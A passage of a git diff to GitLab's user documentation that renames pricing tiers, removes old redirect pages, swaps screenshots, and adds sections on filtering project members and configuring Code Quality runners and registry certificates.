description are listed in the [issue history](#issue-history). **(PREMIUM)** ### Mentions You can mention a user or a group present in your GitLab instance with `@username` or `@groupname`. All mentioned users are notified via to-do items and emails, -unless they have disabled all notifications in their profile settings. +unless they have disabled all [notifications](#notifications) in their user settings. This is controlled in the [notification settings](../../profile/notifications.md). Mentions for yourself (the current logged in user) are highlighted @@ -244,8 +240,8 @@ Also: - You can mention a user or a group present in your GitLab instance with `@username` or `@groupname` and they are notified via to-do items - and emails, unless they have [disabled all notifications](#notifications) - in their profile settings. + and emails, unless they have disabled all [notifications](#notifications) + in their user settings. - Mentions for yourself (the current logged-in user) are highlighted in a different color, which allows you to quickly see which comments involve you. @@ -291,7 +287,7 @@ supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-g After you write a comment, you can: -- Click **Comment** and to publish your comment. +- Click **Comment** to publish your comment. - Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#threaded-discussions) in that issue's main thread to discuss specific points. This invites other participants to reply directly to your thread, keeping related comments grouped together. diff --git a/doc/user/project/issues/issue_weight.md b/doc/user/project/issues/issue_weight.md index 4e2c8bfd7f1..b10debf9888 100644 --- a/doc/user/project/issues/issue_weight.md +++ b/doc/user/project/issues/issue_weight.md @@ -5,15 +5,15 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Issue weight **(STARTER)** +# Issue weight **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.3. +> - Moved to GitLab Premium in 13.9. When you have a lot of issues, it can be hard to get an overview. By adding a weight to each issue, you can get a better idea of how much time, value or complexity a given issue has or costs. -You can set the weight of an issue during its creation, by simply changing the +You can set the weight of an issue during its creation, by changing the value in the dropdown menu. You can set it to a non-negative integer value from 0, 1, 2, and so on. (The database stores a 4-byte value, so the upper bound is essentially limitless). diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index ef860df054e..f1739726cf8 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -270,7 +270,7 @@ closed issues remain as-is. Disabling automatic issue closing only affects merge requests *in* the project and does not prevent other projects from closing it via cross-project issues. -#### Customizing the issue closing pattern **(CORE ONLY)** +#### Customizing the issue closing pattern **(FREE SELF)** In order to change the default issue closing pattern, GitLab administrators must edit the [`gitlab.rb` or `gitlab.yml` file](../../../administration/issue_closing_pattern.md) @@ -287,9 +287,9 @@ editing it and clicking on the delete button. ## Promote an issue to an epic **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3777) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to [GitLab Premium](https://about.gitlab.com/pricing/) in 12.8. -> - Promoting issues to epics via the UI [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233974) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3777) in GitLab Ultimate 11.6. +> - Moved to GitLab Premium in 12.8. +> - Promoting issues to epics via the UI [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233974) in GitLab Premium 13.6. You can promote an issue to an epic in the immediate parent group. @@ -302,9 +302,10 @@ Alternatively, you can use the `/promote` [quick action](../quick_actions.md#qui Read more about promoting an issue to an epic on the [Manage epics page](../../group/epics/manage_epics.md#promote-an-issue-to-an-epic). -## Add an issue to an iteration **(STARTER)** +## Add an issue to an iteration **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in GitLab 13.2. +> - Moved to GitLab Premium in 13.9. To add an issue to an [iteration](../../group/iterations/index.md): diff --git a/doc/user/project/issues/moving_issues.md b/doc/user/project/issues/moving_issues.md deleted file mode 100644 index 3b40affcdc3..00000000000 --- a/doc/user/project/issues/moving_issues.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'managing_issues.md#moving-issues' ---- - -This document was moved to [another location](managing_issues.md#moving-issues). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/multiple_assignees_for_issues.md b/doc/user/project/issues/multiple_assignees_for_issues.md index bb9038062f7..189777d40e7 100644 --- a/doc/user/project/issues/multiple_assignees_for_issues.md +++ b/doc/user/project/issues/multiple_assignees_for_issues.md @@ -4,9 +4,9 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Multiple Assignees for Issues **(STARTER)** +# Multiple Assignees for Issues **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1904) in [GitLab Starter 9.2](https://about.gitlab.com/releases/2017/05/22/gitlab-9-2-released/#multiple-assignees-for-issues). +> - Moved to GitLab Premium in 13.9. In large teams, where there is shared ownership of an issue, it can be difficult to track who is working on it, who already completed their contributions, who @@ -40,4 +40,4 @@ to assign the issue to.  -An assignee can be easily removed by deselecting them from the same dropdown menu. +To remove an assignee, deselect them from the same dropdown menu. diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md index 82b2d4fde52..91c26d49532 100644 --- a/doc/user/project/issues/related_issues.md +++ b/doc/user/project/issues/related_issues.md @@ -4,10 +4,10 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Related issues **(CORE)** +# Related issues **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1797) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.4. -> - The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.4. +> - The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4. Related issues are a bi-directional relationship between any two issues and appear in a block below the issue description. Issues can be across groups diff --git a/doc/user/project/issues/similar_issues.md b/doc/user/project/issues/similar_issues.md deleted file mode 100644 index 79a50d5f812..00000000000 --- a/doc/user/project/issues/similar_issues.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'index.md#similar-issues' ---- - -This document was moved to [another location](index.md#similar-issues). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md index b4cb1c383ba..3a393b18579 100644 --- a/doc/user/project/issues/sorting_issue_lists.md +++ b/doc/user/project/issues/sorting_issue_lists.md @@ -4,7 +4,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Sorting and ordering issue lists **(CORE)** +# Sorting and ordering issue lists **(FREE)** You can sort a list of issues several ways, including by: diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md index 22dfd3a8719..c0a66343a88 100644 --- a/doc/user/project/labels.md +++ b/doc/user/project/labels.md @@ -59,21 +59,25 @@ and edit labels. > Showing all inherited labels [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241990) in GitLab 13.5. -To view the project labels list, navigate to the project and click **Issues > Labels**. -The list includes all labels that are defined at the project level, as well as all -labels defined by its ancestor groups. -For each label, you can see the project or group path from where it was created. -You can filter the list by entering a search query at the top and clicking search (**{search}**). +To view a project's available labels, in the project, go to **Issues > Labels**. +Its list of labels includes both the labels defined at the project level, and +all labels defined by its ancestor groups. For each label, you can see the +project or group path from where it was created. You can filter the list by +entering a search query in the **Filter** field, and then clicking its search +icon (**{search}**). To create a new project label: -1. Navigate to **Issues > Labels** in the project. -1. Click the **New label** button. - - Enter the title. - - (Optional) Enter a description. - - (Optional) Select a background color by clicking on the available colors, or input - a hex color value for a specific color. -1. Click **Create label** to create the label. +1. In your project, go to **Issues > Labels**. +1. Select the **New label** button. +1. In the **Title** field, enter a short, descriptive name for the label. You + can also use this field to create [scoped, mutually exclusive labels](#scoped-labels). +1. (Optional) In the **Description** field, you can enter additional + information about how and when to use this label. +1. (Optional) Select a background color for the label by selecting one of the + available colors, or by entering a hex color value in the **Background color** + field. +1. Select **Create label**. You can also create a new project label from within an issue or merge request. In the label section of the right sidebar of an issue or a merge request: diff --git a/doc/user/project/maven_packages.md b/doc/user/project/maven_packages.md deleted file mode 100644 index 5bfa08de2ed..00000000000 --- a/doc/user/project/maven_packages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../packages/maven_repository/index.md' ---- - -This document was moved to [another location](../packages/maven_repository/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/members/img/access_requests_management_13_8.png b/doc/user/project/members/img/access_requests_management_13_8.png Binary files differdeleted file mode 100644 index 950ef4dec01..00000000000 --- a/doc/user/project/members/img/access_requests_management_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/access_requests_management_v13_9.png b/doc/user/project/members/img/access_requests_management_v13_9.png Binary files differnew file mode 100644 index 00000000000..b7883e9d134 --- /dev/null +++ b/doc/user/project/members/img/access_requests_management_v13_9.png diff --git a/doc/user/project/members/img/add_user_email_accept_13_8.png b/doc/user/project/members/img/add_user_email_accept_13_8.png Binary files differdeleted file mode 100644 index ed980036af5..00000000000 --- a/doc/user/project/members/img/add_user_email_accept_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_email_accept_v13_9.png b/doc/user/project/members/img/add_user_email_accept_v13_9.png Binary files differnew file mode 100644 index 00000000000..a6b303e05ca --- /dev/null +++ b/doc/user/project/members/img/add_user_email_accept_v13_9.png diff --git a/doc/user/project/members/img/add_user_email_ready_13_8.png b/doc/user/project/members/img/add_user_email_ready_v13_8.png Binary files differindex a610b46a176..a610b46a176 100644 --- a/doc/user/project/members/img/add_user_email_ready_13_8.png +++ b/doc/user/project/members/img/add_user_email_ready_v13_8.png diff --git a/doc/user/project/members/img/add_user_email_search_13_8.png b/doc/user/project/members/img/add_user_email_search_v13_8.png Binary files differindex 934cf19bd3d..934cf19bd3d 100644 --- a/doc/user/project/members/img/add_user_email_search_13_8.png +++ b/doc/user/project/members/img/add_user_email_search_v13_8.png diff --git a/doc/user/project/members/img/add_user_give_permissions_13_8.png b/doc/user/project/members/img/add_user_give_permissions_v13_8.png Binary files differindex 1916d056a52..1916d056a52 100644 --- a/doc/user/project/members/img/add_user_give_permissions_13_8.png +++ b/doc/user/project/members/img/add_user_give_permissions_v13_8.png diff --git a/doc/user/project/members/img/add_user_import_members_from_another_project_13_8.png b/doc/user/project/members/img/add_user_import_members_from_another_project_v13_8.png Binary files differindex a6dddec3fb7..a6dddec3fb7 100644 --- a/doc/user/project/members/img/add_user_import_members_from_another_project_13_8.png +++ b/doc/user/project/members/img/add_user_import_members_from_another_project_v13_8.png diff --git a/doc/user/project/members/img/add_user_imported_members_13_8.png b/doc/user/project/members/img/add_user_imported_members_13_8.png Binary files differdeleted file mode 100644 index 725e447604f..00000000000 --- a/doc/user/project/members/img/add_user_imported_members_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_imported_members_v13_9.png b/doc/user/project/members/img/add_user_imported_members_v13_9.png Binary files differnew file mode 100644 index 00000000000..e40240df2b2 --- /dev/null +++ b/doc/user/project/members/img/add_user_imported_members_v13_9.png diff --git a/doc/user/project/members/img/add_user_list_members_13_8.png b/doc/user/project/members/img/add_user_list_members_13_8.png Binary files differdeleted file mode 100644 index b8c0160c6d8..00000000000 --- a/doc/user/project/members/img/add_user_list_members_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_list_members_v13_9.png b/doc/user/project/members/img/add_user_list_members_v13_9.png Binary files differnew file mode 100644 index 00000000000..7a07ea01d14 --- /dev/null +++ b/doc/user/project/members/img/add_user_list_members_v13_9.png diff --git a/doc/user/project/members/img/add_user_search_people_13_8.png b/doc/user/project/members/img/add_user_search_people_v13_8.png Binary files differindex e9aa58512ab..e9aa58512ab 100644 --- a/doc/user/project/members/img/add_user_search_people_13_8.png +++ b/doc/user/project/members/img/add_user_search_people_v13_8.png diff --git a/doc/user/project/members/img/project_groups_tab_13_8.png b/doc/user/project/members/img/project_groups_tab_13_8.png Binary files differdeleted file mode 100644 index 5d7948f0761..00000000000 --- a/doc/user/project/members/img/project_groups_tab_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/project_groups_tab_v13_9.png b/doc/user/project/members/img/project_groups_tab_v13_9.png Binary files differnew file mode 100644 index 00000000000..d1b6a640341 --- /dev/null +++ b/doc/user/project/members/img/project_groups_tab_v13_9.png diff --git a/doc/user/project/members/img/project_members_13_8.png b/doc/user/project/members/img/project_members_13_8.png Binary files differdeleted file mode 100644 index 9120d471b3b..00000000000 --- a/doc/user/project/members/img/project_members_13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/project_members_filter_direct_v13_9.png b/doc/user/project/members/img/project_members_filter_direct_v13_9.png Binary files differnew file mode 100644 index 00000000000..50115ee4052 --- /dev/null +++ b/doc/user/project/members/img/project_members_filter_direct_v13_9.png diff --git a/doc/user/project/members/img/project_members_filter_inherited_v13_9.png b/doc/user/project/members/img/project_members_filter_inherited_v13_9.png Binary files differnew file mode 100644 index 00000000000..433003fe58b --- /dev/null +++ b/doc/user/project/members/img/project_members_filter_inherited_v13_9.png diff --git a/doc/user/project/members/img/project_members_search_v13_9.png b/doc/user/project/members/img/project_members_search_v13_9.png Binary files differnew file mode 100644 index 00000000000..67280d11dca --- /dev/null +++ b/doc/user/project/members/img/project_members_search_v13_9.png diff --git a/doc/user/project/members/img/project_members_sort_v13_9.png b/doc/user/project/members/img/project_members_sort_v13_9.png Binary files differnew file mode 100644 index 00000000000..47abe18ba49 --- /dev/null +++ b/doc/user/project/members/img/project_members_sort_v13_9.png diff --git a/doc/user/project/members/img/project_members_v13_9.png b/doc/user/project/members/img/project_members_v13_9.png Binary files differnew file mode 100644 index 00000000000..3b48c752c6a --- /dev/null +++ b/doc/user/project/members/img/project_members_v13_9.png diff --git a/doc/user/project/members/img/share_project_with_groups_tab_v13_8.png b/doc/user/project/members/img/share_project_with_groups_tab_v13_8.png Binary files differdeleted file mode 100644 index 6cbbb386396..00000000000 --- a/doc/user/project/members/img/share_project_with_groups_tab_v13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/share_project_with_groups_tab_v13_9.png b/doc/user/project/members/img/share_project_with_groups_tab_v13_9.png Binary files differnew file mode 100644 index 00000000000..99be996c03e --- /dev/null +++ b/doc/user/project/members/img/share_project_with_groups_tab_v13_9.png diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index cccb998fc31..00474098487 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -21,42 +21,74 @@ project's **Members**. When your project belongs to the group, group members inherit the membership and permission level for the project from the group. - + From the image above, we can deduce the following things: - There are 3 members that have access to the project. - User0 is a Reporter and has inherited their permissions from group `demo` which contains current project. -- For User1 there is no indication of a group, therefore they belong directly +- User1 is shown as a **Direct member** in the **Source** column, therefore they belong directly to the project we're inspecting. - Administrator is the Owner and member of **all** groups and for that reason, there is an indication of an ancestor group and inherited Owner permissions. -[From GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/21727), you can filter this list -using the dropdown on the right side: +## Filter and sort members - +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21727) in GitLab 12.6. +> - [Improved](https://gitlab.com/groups/gitlab-org/-/epics/4901) in GitLab 13.9. +> - Improvements are [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - Improvements are enabled on GitLab.com. +> - Improvements are recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable improvements](#enable-or-disable-improvements-to-project-member-management). **(FREE SELF)** -- **Show only direct members** displays only User1. -- **Show only inherited members** displays User0 and Administrator. +The following sections illustrate how you can filter and sort members in a project. To view these options, +navigate to your desired project, go to **Members**, and include the noted search terms. + +### Membership filter + +By default, inherited and direct members are displayed. The membership filter can be used to display only inherited or only direct members. + +#### Display inherited members + +To display inherited members, include `Membership` `=` `Inherited` in the search text box. + + + +#### Display direct members + +To display direct members, include `Membership` `=` `Direct` in the search text box. + + + +### Search + +You can search for members by name, username, or email. + + + +### Sort + +You can sort members by **Account**, **Access granted**, **Max role**, or **Last sign-in** in ascending or descending order. + + ## Add a user Right next to **People**, start typing the name or username of the user you want to add. - + Select the user and the [permission level](../../permissions.md) that you'd like to give the user. Note that you can select more than one user. - + Once done, select **Add users to project** and they are immediately added to your project with the permissions you gave them above. - + From there on, you can either remove an existing user or change their access level to the project. @@ -68,14 +100,14 @@ You can import another project's users in your own project by hitting the In the dropdown menu, you can see only the projects you are Maintainer on. - + Select the one you want and hit **Import project members**. A flash message displays, notifying you that the import was successful, and the new members are now in the project's members list. Notice that the permissions that they had on the project you imported from are retained. - + ## Invite people using their e-mail address @@ -83,18 +115,18 @@ If a user you want to give access to doesn't have an account on your GitLab instance, you can invite them just by typing their e-mail address in the user search field. - + As you can imagine, you can mix inviting multiple people and adding existing GitLab users to the project. - + Once done, hit **Add users to project** and watch that there is a new member with the e-mail address we used above. From there on, you can resend the invitation, change their access level, or even delete them. - + While unaccepted, the system automatically sends reminder emails on the second, fifth, and tenth day after the invitation was initially sent. @@ -130,7 +162,7 @@ NOTE: If a project does not have any maintainers, the notification is sent to the most recently active owners of the project's group. - + If you change your mind before your request is approved, just click the **Withdraw Access Request** button. @@ -167,3 +199,27 @@ To remove a member from a project: A **Remove member** modal appears. 1. (Optional) Select the **Also unassign this user from related issues and merge requests** checkbox. 1. Click **Remove member**. + +## Enable or disable improvements to project member management **(FREE SELF)** + +Project member management improvements are deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable the improvements. + +To disable them: + +```ruby +# For the instance +Feature.disable(:vue_project_members_list) +# For a single project +Feature.disable(:vue_project_members_list, Project.find(<project id>)) +``` + +To enable them: + +```ruby +# For the instance +Feature.enable(:vue_project_members_list) +# For a single project +Feature.enable(:vue_project_members_list, Project.find(<project id>)) +``` diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index d17717fb29c..7000988d9bf 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -26,7 +26,7 @@ To share 'Project Acme' with the 'Engineering' group: 1. For 'Project Acme' use the left navigation menu to go to **Members**. -  +  1. Select the **Invite group** tab. 1. Add the 'Engineering' group with the maximum access level of your choice. @@ -35,7 +35,7 @@ To share 'Project Acme' with the 'Engineering' group: 1. After sharing 'Project Acme' with 'Engineering': - The group is listed in the **Groups** tab. -  +  - The project is listed on the group dashboard. diff --git a/doc/user/project/merge_requests.md b/doc/user/project/merge_requests.md deleted file mode 100644 index 5762177882e..00000000000 --- a/doc/user/project/merge_requests.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'merge_requests/index.md' ---- - -This document was moved to [merge_requests/index.md](merge_requests/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md index 8adaae3b2ef..7aa7673366d 100644 --- a/doc/user/project/merge_requests/allow_collaboration.md +++ b/doc/user/project/merge_requests/allow_collaboration.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Allow collaboration on merge requests across forks +# Allow collaboration on merge requests across forks **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17395) in GitLab 10.6. @@ -23,7 +23,7 @@ of the merge request. ## Enabling commit edits from upstream members -From [GitLab 13.7 onwards](https://gitlab.com/gitlab-org/gitlab/-/issues/23308), +In [GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/23308), this setting is enabled by default. It can be changed by users with Developer permissions to the source project. Once enabled, upstream members will also be able to retry the pipelines and jobs of the merge request: @@ -78,8 +78,23 @@ Here's how the process would look like: local branch `thedude-awesome-project-update-docs` to the `update-docs` branch of the `git@gitlab.com:thedude/awesome-project.git` repository. -<!-- ## Troubleshooting +## Troubleshooting + +### Pipeline status unavailable from MR page of forked project + +When a user forks a project, the permissions on the forked copy are not copied over +from the original project. The creator of the fork must grant permissions to the +forked copy before members in the upstream project can view or merge the changes +in the merge request. +To see the pipeline status from the merge request page of a forked project +going back to the original project: + +1. Create a group containing all the upstream members. +1. Go to the **Members** tab in the forked project and invite the newly-created + group to the forked project. + +<!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues one might have when setting this up, or when something is changed, or on upgrading, it's important to describe those, too. Think of things that may go wrong and include them here. diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md index 7bb64987a31..36481ac0133 100644 --- a/doc/user/project/merge_requests/authorization_for_merge_requests.md +++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts --- -# Authorization for Merge requests +# Authorization for Merge requests **(FREE)** There are two main ways to have a merge request flow with GitLab: diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md index 4e87876b036..4c9a6557320 100644 --- a/doc/user/project/merge_requests/cherry_pick_changes.md +++ b/doc/user/project/merge_requests/cherry_pick_changes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Cherry-pick changes +# Cherry-pick changes **(FREE)** GitLab implements Git's powerful feature to [cherry-pick any commit](https://git-scm.com/docs/git-cherry-pick "Git cherry-pick documentation") @@ -13,12 +13,13 @@ with introducing a **Cherry-pick** button in merge requests and commit details. ## Cherry-picking a merge request -After the merge request has been merged, a **Cherry-pick** button will be available +After the merge request has been merged, a **Cherry-pick** button displays to cherry-pick the changes introduced by that merge request.  -After you click that button, a modal will appear showing a [branch filter search box](../repository/branches/index.md#branch-filter-search-box) +After you click that button, a modal displays a +[branch filter search box](../repository/branches/index.md#branch-filter-search-box) where you can choose to either: - Cherry-pick the changes directly into the selected branch. @@ -28,12 +29,12 @@ where you can choose to either: > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2675) in GitLab 12.9. -When you cherry-pick a merge commit, GitLab will output a system note to the related merge -request thread crosslinking the new commit and the existing merge request. +When you cherry-pick a merge commit, GitLab displays a system note to the related merge +request thread. It crosslinks the new commit and the existing merge request.  -Each deployment's [list of associated merge requests](../../../api/deployments.md#list-of-merge-requests-associated-with-a-deployment) will include cherry-picked merge commits. +Each deployment's [list of associated merge requests](../../../api/deployments.md#list-of-merge-requests-associated-with-a-deployment) includes cherry-picked merge commits. NOTE: We only track cherry-pick executed from GitLab (both UI and API). Support for [tracking cherry-picked commits through the command line](https://gitlab.com/gitlab-org/gitlab/-/issues/202215) is planned for a future release. @@ -44,15 +45,15 @@ You can cherry-pick a commit from the commit details page:  -Similar to cherry-picking a merge request, you can opt to cherry-pick the changes +Similar to cherry-picking a merge request, you can cherry-pick the changes directly into the target branch or create a new merge request to cherry-pick the changes. -Please note that when cherry-picking merge commits, the mainline will always be the -first parent. If you want to use a different mainline then you need to do that +When cherry-picking merge commits, the mainline is always the +first parent. If you want to use a different mainline, you need to do that from the command line. -Here is a quick example to cherry-pick a merge commit using the second parent as the +Here's a quick example to cherry-pick a merge commit using the second parent as the mainline: ```shell diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index ca15ec154fc..55dc0bcc41a 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Code Quality +# Code Quality **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in GitLab 9.3. > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in 13.2. Ensuring your project's code stays simple, readable and easy to contribute to can be problematic. With the help of [GitLab CI/CD](../../../ci/README.md), you can analyze your @@ -28,7 +28,7 @@ Code Quality: ## Code Quality Widget -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in GitLab 9.3. > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in 13.2. Going a step further, GitLab can show the Code Quality report right @@ -73,9 +73,9 @@ GitLab 11.4 or earlier, you can view the deprecated job definitions in the [documentation archive](https://docs.gitlab.com/12.10/ee/user/project/merge_requests/code_quality.html#previous-job-definitions). - Using shared runners, the job should be configured For the [Docker-in-Docker workflow](../../../ci/docker/using_docker_build.md#use-the-docker-executor-with-the-docker-image-docker-in-docker). -- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running CodeQuality analysis more efficiently. +- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running Code Quality analysis more efficiently. -In either configuration, the runner mmust have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. +In either configuration, the runner must have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. Once you set up GitLab Runner, include the Code Quality template in your CI configuration: @@ -161,6 +161,7 @@ to be consider, but may be preferable depending on your use case. --locked="false" \ --access-level="not_protected" \ --docker-volumes "/cache"\ + --docker-volumes "/builds:/builds"\ --docker-volumes "/var/run/docker.sock:/var/run/docker.sock" \ --registration-token="<project_token>" \ --non-interactive @@ -173,8 +174,8 @@ to be consider, but may be preferable depending on your use case. in the previous step. ```shell - --builds-dir /tmp/builds - --docker-volumes /tmp/builds:/tmp/builds + --builds-dir "/tmp/builds" + --docker-volumes "/tmp/builds:/tmp/builds" # Use this instead of --docker-volumes "/builds:/builds" ``` The resulting configuration: @@ -219,8 +220,8 @@ The end result is that: - Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. With this configuration, the run time for a second pipeline is much shorter. For example -this [small change](https://gitlab.com/drewcimino/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46) -to an [open merge request](https://gitlab.com/drewcimino/test-code-quality-template/-/merge_requests/4/pipelines) +this [small change](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46) +to an [open merge request](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/pipelines) running Code Quality analysis ran significantly faster the second time:  @@ -358,7 +359,7 @@ After the Code Quality job completes: [downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts) for the `code_quality` job. - The full list of code quality violations generated by a pipeline is shown in the - Code Quality tab of the Pipeline Details page. **(STARTER)** + Code Quality tab of the Pipeline Details page. **(PREMIUM)** ### Generating an HTML report @@ -411,7 +412,7 @@ plugins: enabled: true ``` -This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml) +This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) included in your project. Changes to the `plugins:` section do not affect the `exclude_patterns` section of the @@ -421,6 +422,71 @@ for more details. Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_project) that uses Code Quality with a `.codeclimate.yml` file. +## Use a Code Quality image hosted in a registry with untrusted certificates + +If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a +Docker registry which uses a TLS certificate that is not trusted, such as +a self-signed certificate, you can see errors like the one below: + +```shell +$ docker pull --quiet "$CODE_QUALITY_IMAGE" +Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority +``` + +To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) +by putting the certificate inside of the `/etc/docker/certs.d` +directory. + +This Docker daemon is exposed to the subsequent Code Quality Docker container in the +[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) +and should be to exposed any other containers in which you want to have +your certificate configuration apply. + +### Docker + +If you have access to GitLab Runner configuration, add the directory as a +[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). For example: + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged 